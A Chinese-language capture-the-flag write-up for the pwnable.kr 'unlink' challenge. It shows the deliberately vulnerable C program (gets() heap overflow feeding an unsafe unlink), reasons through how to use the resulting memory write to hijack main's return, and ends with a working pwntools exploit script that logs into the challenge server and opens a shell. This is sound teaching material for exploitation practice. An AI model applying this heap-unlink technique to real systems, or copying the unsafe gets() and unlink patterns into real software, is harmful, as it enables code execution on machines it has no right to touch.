pwnable.kr 第一阶段的最后一题！
这道题目就是堆溢出的经典利用题目，不过是把堆块的分配与释放操作用C++重新写了一遍，可参考《C和C++安全编码一书》//不是广告
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
这道题在get(A->buf)处存在明显的堆溢出，可以覆盖A->buf以后全部堆内存。
首先在gets(A->buf)后，执行了unlink操作，操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。
该覆写过程发生于Unlink函数中，当输入A->buf溢出覆盖了B->fd和B->bk时，可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。
1. 最初的想法通过上述的DWORD SHOOT覆写Unlink函数的返回地址，将该返回地址改为shell函数的返回地址。可能导致在Unlink返回时跳转到shell函数去
即：
B->bk = Unlink的返回地址
B->bk = Shell函数的起始地址
根据覆写流程，会产生一个副作用，即[Shell函数的起始地址+4 ] = Unlink的返回地址
当该副作用产生时，shell函数内容会被篡改，导致出错该方案行不通。
2. 第二种考虑将shellcode写在溢出的堆上，同样利用上述方法，将返回地址写到堆上的地址，然后再使用跳转，至shell函数中以获得flag。
堆内存即
A结构+B->fd+B->bk+nop*n + jmp shell + jmp short xxx
其中返回地址覆写为jmp short xxx，这样Unlink结束后跳转至jmp short xx指令，jmp短跳转至nop然后再jmp shell导致获取权限。
这样覆写位置在jmp short xx指令后，对执行函数无影响，方案貌似可行。
这时存在的问题是需要在堆上执行代码，需要堆上的数据有执行权限。查看一下开启的保护：
发现开启了NX保护，堆上代码不可执行，因此该方案也无效。
3. 最终，无可奈何只能继续往下面找，发现unlink函数没有可以利用的地方了，然后main函数直接结束了，也没有给出之前做过的覆写GOT表的机会。
最终在main函数返回时找到可以利用的地方。
retn指令相当于pop eip，该指令是可以控制程序运行流程的，流程的来源是esp指向的地址。
而再之前 lea esp，[ecx-4]即把ecx-4地址中的数据赋给esp。
而在此逆推ecx的值是从mov ecx,[ebp-4]中得到的。
而leave指令相当于mov esp ebp，pop ebp，对esp数据的来源无影响。
ebp在整个main函数运行中是不变的。
因此，可以构造 [ecx-4] = shell的起始地址
这样 就可以先把 shell的起始地址写到一个内存地址（如可以在A->buf的起始部分输入shell函数地址），ecx再指向该地址+4.
进一步就是将ebp-4地址中的值覆写成上面的地址+4.
======================思路over===========================================
因此输入的内容就是shell地址+填充字符 + B->fb + B->bk就可以了。
根据前一篇文中堆块的地址分配，malloc(sizeof(OBJ)的大小就应该是8 * （int（4+4+8 + 4）/8 +1） = 24
A->buf = 12，再加上B堆块固有的堆块大小及标志位4字节，shell+填充字符共计为16字节。
假设A->buf的地址记为shell，shell = A+8
下一步要解决的是B->fb和B->bk问题。
BK=B->bk;
FD=B->fd;
FD->bk=BK;
BK->fd=FD;
由OBJ结构可知OBJ->fb = OBJ,OBJ->bk=OBJ+4.
所以，覆写就有两种覆写方法，BK为shell+4，或者BK为EBP-4
当BK= shell+4 时，FD + 4 = EBP-4，FD=EBP-8 ， 覆写时，[shell + 4 ] = EBP-8
当BK = EBP-4时，FD + 4 = shell +4 ，FD = shell, 覆写时，[shell+4] = EBP-4
二者的覆写均无影响。
再说，shell的值与EBP的值如何获得。
shell = A + 8,A可由打印的第二个值获得。
而EBP可由反汇编代码中看到，
&A= EBP-0x14
由上述两种方法求得的fb、bk分别
1.
payload += p32(heap_addr + 12)
payload += p32(stack_addr + 0x10)
2.
payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )
编写payload脚本
from pwn import *
shell_addr = 0x080484eb
s = ssh(host=‘pwnable.kr‘,
port=2222,
user=‘unlink‘,
password=‘guest‘
)
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = p32(shell_addr)
payload += ‘a‘*12
#payload += p32(heap_addr + 12)
#payload += p32(stack_addr + 0x10)
payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )
p.send(payload)
p.interactive()
